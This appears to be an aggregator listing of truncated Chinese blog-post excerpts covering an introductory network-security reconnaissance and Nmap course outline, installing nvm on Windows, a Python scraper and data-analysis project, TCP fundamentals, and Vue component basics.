介绍 欢迎来到网络安全模块的第一个房间,该模块涵盖: 1.被动侦察 2.主动侦察 3.Nmap实时主机发现 4.Nmap基本端口扫描 5.Nmap高级端口扫描 6.Nmap后端口扫描 7.协议和服务器 8.协议和服务器2 9.网络安全挑战 在这个房间里,在我们定义被动侦察和主动侦察之后,我们…

windows linux 安装 nvm

windows 一、下载nvm-windows 前往github https://github.com/coreybutler/nvm-windows 进入latest 往下滑下载nvm-setup.exe 二、下载好后直接一直点击下一步就好。 检查一下 nvm -v &#xff0c;会输出版本号 附带常用命令 nvm install 10.15.3 安装v10.15.3版本 nvm u…

基于python爬虫与数据分析系统设计

**单片机设计介绍&#xff0c;基于python爬虫与数据分析系统设计 文章目录 一 概要二、功能设计设计思路 三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于Python爬虫与数据分析系统的设计是一个结合了网络数据抓取、清洗、存储和数据分析的综合项目。这样的系统通常…

总结TCP协议各类知识点

前言 本篇博客博主将详细地介绍TCP有关知识点&#xff0c;坐好板凳发车啦~ 一.TCP特点 1.有连接 TCP传输的过程中类似于打电话的各个过程 2.可靠传输 通过TCP自身的多种机制来保证可靠传输 3.面向字节流 内容是以字节的方式来进行发送与接收 4.缓冲区 TCP有接收缓冲区…

Vue基础配置、组件通信、自定义指令

基础配置 Vue框架已经集成了webpack配置 小注意点 vbase 快速生成vue模板 组件名必须是多词格式(驼峰模式) 具体三种写法: ①小驼峰:abcDef.vue ②大驼峰&#xff1a;AbcDef.vue ③中横线&#xff1a;abc-def.vue 假如文件名不符合多次格式的补救办法&#xff1a; 导出重命名…